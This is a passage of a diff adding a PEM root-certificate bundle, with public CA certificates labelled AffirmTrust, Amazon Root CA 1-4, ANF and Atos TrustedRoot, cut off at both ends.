+ezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt
+ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQAL
+e3KHwGCmSUyIWOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70
+jsNjLiNmsGe+b7bAEzlgqqI0JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDz
+WochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKxK3JCaKygvU5a2hi/a5iB0P2avl4V
+SM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+Xlff1ANATIGk0k9j
+pwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC4yyX
+X04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+Ok
+fcvHlXHo2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7R
+K4X9p2jIugErsWx0Hbhzlefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btU
+ZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXemOR/qnuOf0GZvBeyqdn6/axag67XH/JJU
+LysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9vwGYT7JZVEc+NHt4bVaT
+LnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg==
+-----END CERTIFICATE-----
+
+# AffirmTrust Commercial
+-----BEGIN CERTIFICATE-----
+MIIDTDCCAjSgAwIBAgIId3cGJyapsXwwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UE
+BhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVz
+dCBDb21tZXJjaWFsMB4XDTEwMDEyOTE0MDYwNloXDTMwMTIzMTE0MDYwNlowRDEL
+MAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZp
+cm1UcnVzdCBDb21tZXJjaWFsMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
+AQEA9htPZwcroRX1BiLLHwGy43NFBkRJLLtJJRTWzsO3qyxPxkEylFf6EqdbDuKP
+Hx6GGaeqtS25Xw2Kwq+FNXkyLbscYjfysVtKPcrNcV/pQr6U6Mje+SJIZMblq8Yr
+ba0F8PrVC8+a5fBQpIs7R6UjW3p6+DM/uO+Zl+MgwdYoic+U+7lF7eNAFxHUdPAL
+MeIrJmqbTFeurCA+ukV6BfO9m2kVrn1OIGPENXY6BwLJN/3HR+7o8XYdcxXyl6S1
+yHp52UKqK39c/s4mT6NmgTWvRLpUHhwwMmWd5jyTXlBOeuM61G7MGvv50jeuJCqr
+VwMiKA1JdX+3KNp1v47j3A55MQIDAQABo0IwQDAdBgNVHQ4EFgQUnZPGU4teyq8/
+nx4P5ZmVvCT2lI8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwDQYJ
+KoZIhvcNAQELBQADggEBAFis9AQOzcAN/wr91LoWXym9e2iZWEnStB03TX8nfUYG
+XUPGhi4+c7ImfU+TqbbEKpqrIZcUsd6M06uJFdhrJNTxFq7YpFzUf1GO7RgBsZNj
+vbz4YYCanrHOQnDiqX0GJX0nof5v7LMeJNrjS1UaADs1tDvZ110w/YETifLCBivt
+Z8SOyUOyXGsViQK8YvxO8rUzqrJv0wqiUOP2O+guRMLbZjipM1ZI8W0bM40NjD9g
+N53Tym1+NH4Nn3J2ixufcv1SNUFFApYvHLKac0khsUlHRUe072o0EclNmsxZt9YC
+nlpOZbWUrhvfKbAW8b8Angc6F2S1BLUjIZkKlTuXfO8=
+-----END CERTIFICATE-----
+
+# AffirmTrust Networking
+-----BEGIN CERTIFICATE-----
+MIIDTDCCAjSgAwIBAgIIfE8EORzUmS0wDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UE
+BhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVz
+dCBOZXR3b3JraW5nMB4XDTEwMDEyOTE0MDgyNFoXDTMwMTIzMTE0MDgyNFowRDEL
+MAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZp
+cm1UcnVzdCBOZXR3b3JraW5nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
+AQEAtITMMxcua5Rsa2FSoOujz3mUTOWUgJnLVWREZY9nZOIG41w3SfYvm4SEHi3y
+YJ0wTsyEheIszx6e/jarM3c1RNg1lho9Nuh6DtjVR6FqaYvZ/Ls6rnla1fTWcbua
+kCNrmreIdIcMHl+5ni36q1Mr3Lt2PpNMCAiMHqIjHNRqrSK6mQEubWXLviRmVSRL
+QESxG9fhwoXA3hA/Pe24/PHxI1Pcv2WXb9n5QHGNfb2V1M6+oF4nI979ptAmDgAp
+6zxG8D1gvz9Q0twmQVGeFDdCBKNwV6gbh+0t+nvujArjqWaJGctB+d1ENmHP4ndG
+yH329JKBNv3bNPFyfvMMFr20FQIDAQABo0IwQDAdBgNVHQ4EFgQUBx/S55zawm6i
+QLSwelAQUHTEyL0wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwDQYJ
+KoZIhvcNAQEFBQADggEBAIlXshZ6qML91tmbmzTCnLQyFE2npN/svqe++EPbkTfO
+tDIuUFUaNU52Q3Eg75N3ThVwLofDwR1t3Mu1J9QsVtFSUzpE0nPIxBsFZVpikpzu
+QY0x2+c06lkh1QF612S4ZDnNye2v7UsDSKegmQGA3GWjNq5lWUhPgkvIZfFXHeVZ
+Lgo/bNjR9eUJtGxUAArgFU2HdW23WJZa3W3SAKD0m0i+wzekujbgfIeFlxoVot4u
+olu9rxj5kFDNcFn4J2dHy8egBzp90SxdbBk6ZrV9/ZFvgrG+CJPbFEfxojfHRZ48
+x3evZKiT3/Zpg4Jg8klCNO1aAFSFHBY2kgxc+qatv9s=
+-----END CERTIFICATE-----
+
+# AffirmTrust Premium
+-----BEGIN CERTIFICATE-----
+MIIFRjCCAy6gAwIBAgIIbYwURrGmCu4wDQYJKoZIhvcNAQEMBQAwQTELMAkGA1UE
+BhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVz
+dCBQcmVtaXVtMB4XDTEwMDEyOTE0MTAzNloXDTQwMTIzMTE0MTAzNlowQTELMAkG
+A1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1U
+cnVzdCBQcmVtaXVtMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxBLf
+qV/+Qd3d9Z+K4/as4Tx4mrzY8H96oDMq3I0gW64tb+eT2TZwamjPjlGjhVtnBKAQ
+JG9dKILBl1fYSCkTtuG+kU3fhQxTGJoeJKJPj/CihQvL9Cl/0qRY7iZNyaqoe5rZ
++jjeRFcV5fiMyNlI4g0WJx0eyIOFJbe6qlVBzAMiSy2RjYvmia9mx+n/K+k8rNrS
+s8PhaJyJ+HoAVt70VZVs+7pk3WKL3wt3MutizCaam7uqYoNMtAZ6MMgpv+0GTZe5
+HMQxK9VfvFMSF5yZVylmd2EhMQcuJUmdGPLu8ytxjLW6OQdJd/zvLpKQBY0tL3d7
+70O/Nbua2Plzpyzy0FfuKE4mX4+QaAkvuPjcBukumj5Rp9EixAqnOEhss/n/fauG
+V+O61oV4d7pD6kh/9ti+I20ev9E2bFhc8e6kGVQa9QPSdubhjL08s9NIS+LI+H+S
+qHZGnEJlPqQewQcDWkYtuJfzt9WyVSHvutxMAJf7FJUnM7/oQ0dG0giZFmA7mn7S
+5u046uwBHjxIVkkJx0w3AJ6IDsBz4W9m6XJHMD4Q5QsDyZpCAGzFlH5hxIrff4Ia
+C1nEWTJ3s7xgaVY5/bQGeyzWZDbZvUjthB9+pSKPKrhC9IK31FOQeE4tGv2Bb0TX
+OwF0lkLgAOIua+rF7nKsu7/+6qqo+Nz2snmKtmcCAwEAAaNCMEAwHQYDVR0OBBYE
+FJ3AZ6YMItkm9UWrpmVSESfYRaxjMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/
+BAQDAgEGMA0GCSqGSIb3DQEBDAUAA4ICAQCzV00QYk465KzquByvMiPIs0laUZx2
+KI15qldGF9X1Uva3ROgIRL8YhNILgM3FEv0AVQVhh0HctSSePMTYyPtwni94loMg
+Nt58D2kTiKV1NpgIpsbfrM7jWNa3Pt668+s0QNiigfV4Py/VpfzZotReBA4Xrf5B
+8OWycvpEgjNC6C1Y91aMYj+6QrCcDFx+LmUmXFNPALJ4fqENmS2NuB2OosSw/WDQ
+MKSOyARiqcTtNd56l+0OOF6SL5Nwpamcb6d9Ex1+xghIsV5n61EIJenmJWtSKZGc
+0jlzCFfemQa0W50QBuHCAKi4HEoCChTQwUHK+4w1IX2COPKpVJEZNZOUbWo6xbLQ
+u4mGk+ibyQ86p3q4ofB4Rvr8Ny/lioTz3/4E2aFooC8k4gmVBtWVyuEklut89pMF
+u+1z6S3RdTnX5yTb2E5fQ4+e0BQ5v1VwSJlXMbSc7kqYA5YwH2AG7hsj/oFgIxpH
+YoWlzBk0gG+zrBrjn/B7SK3VAdlntqlyk+otZrWyuOQ9PLLvTIzq6we/qzWaVYa8
+GKa1qF60g2xraUDTn9zxw2lrueFtCfTxqlB2Cnp9ehehVZZCmTEJ3WARjQUwfuaO
+RtGdFNrHF+QFlozEJLUbzxQHskD4o55BhrwE0GuWyCqANP2/7waj3VjFhT0+j/6e
+KeC2uAloGRwYQw==
+-----END CERTIFICATE-----
+
+# AffirmTrust Premium ECC
+-----BEGIN CERTIFICATE-----
+MIIB/jCCAYWgAwIBAgIIdJclisc/elQwCgYIKoZIzj0EAwMwRTELMAkGA1UEBhMC
+VVMxFDASBgNVBAoMC0FmZmlybVRydXN0MSAwHgYDVQQDDBdBZmZpcm1UcnVzdCBQ
+cmVtaXVtIEVDQzAeFw0xMDAxMjkxNDIwMjRaFw00MDEyMzExNDIwMjRaMEUxCzAJ
+BgNVBAYTAlVTMRQwEgYDVQQKDAtBZmZpcm1UcnVzdDEgMB4GA1UEAwwXQWZmaXJt
+VHJ1c3QgUHJlbWl1bSBFQ0MwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQNMF4bFZ0D
+0KF5Nbc6PJJ6yhUczWLznCZcBz3lVPqj1swS6vQUX+iOGasvLkjmrBhDeKzQN8O9
+ss0s5kfiGuZjuD0uL3jET9v0D6RoTFVya5UdThhClXjMNzyR4ptlKymjQjBAMB0G
+A1UdDgQWBBSaryl6wBE1NSZRMADDav5A1a7WPDAPBgNVHRMBAf8EBTADAQH/MA4G
+A1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNnADBkAjAXCfOHiFBar8jAQr9HX/Vs
+aobgxCd05DhT1wV/GzTjxi+zygk8N53X57hG8f2h4nECMEJZh0PUUd+60wkyWs6I
+flc9nF9Ca/UHLbXwgpP5WW+uZPpY5Yse42O+tYHNbwKMeQ==
+-----END CERTIFICATE-----
+
+# Amazon Root CA 1
+-----BEGIN CERTIFICATE-----
+MIIDQTCCAimgAwIBAgITBmyfz5m/jAo54vB4ikPmljZbyjANBgkqhkiG9w0BAQsF
+ADA5MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6
+b24gUm9vdCBDQSAxMB4XDTE1MDUyNjAwMDAwMFoXDTM4MDExNzAwMDAwMFowOTEL
+MAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJv
+b3QgQ0EgMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALJ4gHHKeNXj
+ca9HgFB0fW7Y14h29Jlo91ghYPl0hAEvrAIthtOgQ3pOsqTQNroBvo3bSMgHFzZM
+9O6II8c+6zf1tRn4SWiw3te5djgdYZ6k/oI2peVKVuRF4fn9tBb6dNqcmzU5L/qw
+IFAGbHrQgLKm+a/sRxmPUDgH3KKHOVj4utWp+UhnMJbulHheb4mjUcAwhmahRWa6
+VOujw5H5SNz/0egwLX0tdHA114gk957EWW67c4cX8jJGKLhD+rcdqsq08p8kDi1L
+93FcXmn/6pUCyziKrlA4b9v7LWIbxcceVOF34GfID5yHI9Y/QCB/IIDEgEw+OyQm
+jgSubJrIqg0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
+AYYwHQYDVR0OBBYEFIQYzIU07LwMlJQuCFmcx7IQTgoIMA0GCSqGSIb3DQEBCwUA
+A4IBAQCY8jdaQZChGsV2USggNiMOruYou6r4lK5IpDB/G/wkjUu0yKGX9rbxenDI
+U5PMCCjjmCXPI6T53iHTfIUJrU6adTrCC2qJeHZERxhlbI1Bjjt/msv0tadQ1wUs
+N+gDS63pYaACbvXy8MWy7Vu33PqUXHeeE6V/Uq2V8viTO96LXFvKWlJbYK8U90vv
+o/ufQJVtMVT8QtPHRh8jrdkPSHCa2XV4cdFyQzR1bldZwgJcJmApzyMZFo6IQ6XU
+5MsI+yMRQ+hDKXJioaldXgjUkK642M4UwtBV8ob2xJNDd2ZhwLnoQdeXeGADbkpy
+rqXRfboQnoZsG4q5WTP468SQvvG5
+-----END CERTIFICATE-----
+
+# Amazon Root CA 2
+-----BEGIN CERTIFICATE-----
+MIIFQTCCAymgAwIBAgITBmyf0pY1hp8KD+WGePhbJruKNzANBgkqhkiG9w0BAQwF
+ADA5MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6
+b24gUm9vdCBDQSAyMB4XDTE1MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTEL
+MAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJv
+b3QgQ0EgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK2Wny2cSkxK
+gXlRmeyKy2tgURO8TW0G/LAIjd0ZEGrHJgw12MBvIITplLGbhQPDW9tK6Mj4kHbZ
+W0/jTOgGNk3Mmqw9DJArktQGGWCsN0R5hYGCrVo34A3MnaZMUnbqQ523BNFQ9lXg
+1dKmSYXpN+nKfq5clU1Imj+uIFptiJXZNLhSGkOQsL9sBbm2eLfq0OQ6PBJTYv9K
+8nu+NQWpEjTj82R0Yiw9AElaKP4yRLuH3WUnAnE72kr3H9rN9yFVkE8P7K6C4Z9r
+2UXTu/Bfh+08LDmG2j/e7HJV63mjrdvdfLC6HM783k81ds8P+HgfajZRRidhW+me
+z/CiVX18JYpvL7TFz4QuK/0NURBs+18bvBt+xa47mAExkv8LV/SasrlX6avvDXbR
+8O70zoan4G7ptGmh32n2M8ZpLpcTnqWHsFcQgTfJU7O7f/aS0ZzQGPSSbtqDT6Zj
+mUyl+17vIWR6IF9sZIUVyzfpYgwLKhbcAS4y2j5L9Z469hdAlO+ekQiG+r5jqFoz
+7Mt0Q5X5bGlSNscpb/xVA1wf+5+9R+vnSUeVC06JIglJ4PVhHvG/LopyboBZ/1c6
++XUyo05f7O0oYtlNc/LMgRdg7c3r3NunysV+Ar3yVAhU/bQtCSwXVEqY0VThUWcI
+0u1ufm8/0i2BWSlmy5A5lREedCf+3euvAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMB
+Af8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSwDPBMMPQFWAJI/TPlUq9LhONm
+UjANBgkqhkiG9w0BAQwFAAOCAgEAqqiAjw54o+Ci1M3m9Zh6O+oAA7CXDpO8Wqj2
+LIxyh6mx/H9z/WNxeKWHWc8w4Q0QshNabYL1auaAn6AFC2jkR2vHat+2/XcycuUY
++gn0oJMsXdKMdYV2ZZAMA3m3MSNjrXiDCYZohMr/+c8mmpJ5581LxedhpxfL86kS
+k5Nrp+gvU5LEYFiwzAJRGFuFjWJZY7attN6a+yb3ACfAXVU3dJnJUH/jWS5E4ywl
+7uxMMne0nxrpS10gxdr9HIcWxkPo1LsmmkVwXqkLN1PiRnsn/eBG8om3zEK2yygm
+btmlyTrIQRNg91CMFa6ybRoVGld45pIq2WWQgj9sAq+uEjonljYE1x2igGOpm/Hl
+urR8FLBOybEfdF849lHqm/osohHUqS0nGkWxr7JOcQ3AWEbWaQbLU8uz/mtBzUF+
+fUwPfHJ5elnNXkoOrJupmHN5fLT0zLm4BwyydFy4x2+IoZCn9Kr5v2c69BoVYh63
+n749sSmvZ6ES8lgQGVMDMBu4Gon2nL2XA46jCfMdiyHxtN/kHNGfZQIG6lzWE7OE
+76KlXIx3KadowGuuQNKotOrN8I1LOJwZmhsoVLiJkO/KdYE+HvJkJMcYr07/R54H
+9jVlpNMKVv/1F2Rs76giJUmTtt8AF9pYfl3uxRuw0dFfIRDH+fO6AgonB8Xx1sfT
+4PsJYGw=
+-----END CERTIFICATE-----
+
+# Amazon Root CA 3
+-----BEGIN CERTIFICATE-----
+MIIBtjCCAVugAwIBAgITBmyf1XSXNmY/Owua2eiedgPySjAKBggqhkjOPQQDAjA5
+MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24g
+Um9vdCBDQSAzMB4XDTE1MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkG
+A1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJvb3Qg
+Q0EgMzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABCmXp8ZBf8ANm+gBG1bG8lKl
+ui2yEujSLtf6ycXYqm0fc4E7O5hrOXwzpcVOho6AF2hiRVd9RFgdszflZwjrZt6j
+QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSr
+ttvXBp43rDCGB5Fwx5zEGbF4wDAKBggqhkjOPQQDAgNJADBGAiEA4IWSoxe3jfkr
+BqWTrBqYaGFy+uGh0PsceGCmQ5nFuMQCIQCcAu/xlJyzlvnrxir4tiz+OpAUFteM
+YyRIHN8wfdVoOw==
+-----END CERTIFICATE-----
+
+# Amazon Root CA 4
+-----BEGIN CERTIFICATE-----
+MIIB8jCCAXigAwIBAgITBmyf18G7EEwpQ+Vxe3ssyBrBDjAKBggqhkjOPQQDAzA5
+MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24g
+Um9vdCBDQSA0MB4XDTE1MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkG
+A1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJvb3Qg
+Q0EgNDB2MBAGByqGSM49AgEGBSuBBAAiA2IABNKrijdPo1MN/sGKe0uoe0ZLY7Bi
+9i0b2whxIdIA6GO9mif78DluXeo9pcmBqqNbIJhFXRbb/egQbeOc4OO9X4Ri83Bk
+M6DLJC9wuoihKqB1+IGuYgbEgds5bimwHvouXKNCMEAwDwYDVR0TAQH/BAUwAwEB
+/zAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0OBBYEFNPsxzplbszh2naaVvuc84ZtV+WB
+MAoGCCqGSM49BAMDA2gAMGUCMDqLIfG9fhGt0O9Yli/W651+kI0rz2ZVwyzjKKlw
+CkcO8DdZEv8tmZQoTipPNU0zWgIxAOp1AE47xDqUEpHJWEadIRNyp4iciuRMStuW
+1KyLa2tJElMzrdfkviT8tQp21KW8EA==
+-----END CERTIFICATE-----
+
+# ANF Secure Server Root CA
+-----BEGIN CERTIFICATE-----
+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
+-----END CERTIFICATE-----
+
+# Atos TrustedRoot 2011
+-----BEGIN CERTIFICATE-----
+MIIDdzCCAl+gAwIBAgIIXDPLYixfszIwDQYJKoZIhvcNAQELBQAwPDEeMBwGA1UE
+AwwVQXRvcyBUcnVzdGVkUm9vdCAyMDExMQ0wCwYDVQQKDARBdG9zMQswCQYDVQQG
+EwJERTAeFw0xMTA3MDcxNDU4MzBaFw0zMDEyMzEyMzU5NTlaMDwxHjAcBgNVBAMM
+FUF0b3MgVHJ1c3RlZFJvb3QgMjAxMTENMAsGA1UECgwEQXRvczELMAkGA1UEBhMC
+REUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCVhTuXbyo7LjvPpvMp
+Nb7PGKw+qtn4TaA+Gke5vJrf8v7MPkfoepbCJI419KkM/IL9bcFyYie96mvr54rM
+VD6QUM+A1JX76LWC1BTFtqlVJVfbsVD2sGBkWXppzwO3bw2+yj5vdHLqqjAqc2K+
+SZFhyBH+DgMq92og3AIVDV4VavzjgsG1xZ1kCWyjWZgHJ8cblithdHFsQ/H3NYkQ
+4J7sVaE3IqKHBAUsR320HLliKWYoyrfhk/WklAOZuXCFteZI6o1Q/NnezG8HDt0L
+cp2AMBYHlT8oDv3FdU9T1nSatCQujgKRz3bFmx5VdJx4IbHwLfELn8LVlhgf8FQi
+eowHAgMBAAGjfTB7MB0GA1UdDgQWBBSnpQaxLKYJYO7Rl+lwrrw7GWzbITAPBgNV
+HRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKelBrEspglg7tGX6XCuvDsZbNshMBgG
+A1UdIAQRMA8wDQYLKwYBBAGwLQMEAQEwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3
+DQEBCwUAA4IBAQAmdzTblEiGKkGdLD4GkGDEjKwLVLgfuXvTBznk+j57sj1O7Z8j
+vZfza1zv7v1Apt+hk6EKhqzvINB5Ab149xnYJDE0BAGmuhWawyfc2E8PzBhj/5kP
+DpFrdRbhIfzYJsdHt6bPWHJxfrrhTZVHO8mvbaG0weyJ9rQPOLXiZNwlz6bb65pc
+maHFCN795trV1lpFDMS3wrUU77QR/w4VtfX128a961qn8FYiqTxlVMYVqL2Gns2D
+lmh6cYGJ4Qvh6hEbaAjMaZ7snkGeRDImeuKHCnE96+RapNLbxc3G3mB/ufNPRJLv
+KrcYPqcZ2Qt9sTdBQrC6YB3y/gkRsPCHe6ed
+-----END CERTIFICATE-----
+
+# Atos TrustedRoot Root CA ECC TLS 2021
+-----BEGIN CERTIFICATE-----
+MIICFTCCAZugAwIBAgIQPZg7pmY9kGP3fiZXOATvADAKBggqhkjOPQQDAzBMMS4w
+LAYDVQQDDCVBdG9zIFRydXN0ZWRSb290IFJvb3QgQ0EgRUNDIFRMUyAyMDIxMQ0w
+CwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0yMTA0MjIwOTI2MjNaFw00MTA0
+MTcwOTI2MjJaMEwxLjAsBgNVBAMMJUF0b3MgVHJ1c3RlZFJvb3QgUm9vdCBDQSBF
+Q0MgVExTIDIwMjExDTALBgNVBAoMBEF0b3MxCzAJBgNVBAYTAkRFMHYwEAYHKoZI
+zj0CAQYFK4EEACIDYgAEloZYKDcKZ9Cg3iQZGeHkBQcfl+3oZIK59sRxUM6KDP/X
+tXa7oWyTbIOiaG6l2b4siJVBzV3dscqDY4PMwL502eCdpO5KTlbgmClBk1IQ1SQ4
+AjJn8ZQSb+/Xxd4u/RmAo0IwQDAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR2
+KCXWfeBmmnoJsmo7jjPXNtNPojAOBgNVHQ8BAf8EBAMCAYYwCgYIKoZIzj0EAwMD
+aAAwZQIwW5kp85wxtolrbNa9d+F851F+uDrNozZffPc8dz7kUK2o59JZDCaOMDtu
+CCrCp1rIAjEAmeMM56PDr9NJLkaCI2ZdyQAUEv049OGYa3cpetskz2VAv9LcjBHo
+9H1/IISpQuQo
+-----END CERTIFICATE-----
+
+# Atos TrustedRoot Root CA RSA TLS 2021
+-----BEGIN CERTIFICATE-----
+MIIFZDCCA0ygAwIBAgIQU9XP5hmTC/srBRLYwiqipDANBgkqhkiG9w0BAQwFADBM
+MS4wLAYDVQQDDCVBdG9zIFRydXN0ZWRSb290IFJvb3QgQ0EgUlNBIFRMUyAyMDIx
+MQ0wCwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0yMTA0MjIwOTIxMTBaFw00
+MTA0MTcwOTIxMDlaMEwxLjAsBgNVBAMMJUF0b3MgVHJ1c3RlZFJvb3QgUm9vdCBD
+QSBSU0EgVExTIDIwMjExDTALBgNVBAoMBEF0b3MxCzAJBgNVBAYTAkRFMIICIjAN
+BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAtoAOxHm9BYx9sKOdTSJNy/BBl01Z
+4NH+VoyX8te9j2y3I49f1cTYQcvyAh5x5en2XssIKl4w8i1mx4QbZFc4nXUtVsYv
+Ye+W/CBGvevUez8/fEc4BKkbqlLfEzfTFRVOvV98r61jx3ncCHvVoOX3W3WsgFWZ
+kmGbzSoXfduP9LVq6hdKZChmFSlsAvFr1bqjM9xaZ6cF4r9lthawEO3NUDPJcFDs
+GY6wx/J0W2tExn2WuZgIWWbeKQGb9Cpt0xU6kGpn8bRrZtkh68rZYnxGEFzedUln
+nkL5/nWpo63/dgpnQOPF943HhZpZnmKaau1Fh5hnstVKPNe0OwANwI8f4UDErmwh
+3El+fsqyjW22v5MvoVw+j8rtgI5Y4dtXz4U2OLJxpAmMkokIiEjxQGMYsluMWuPD
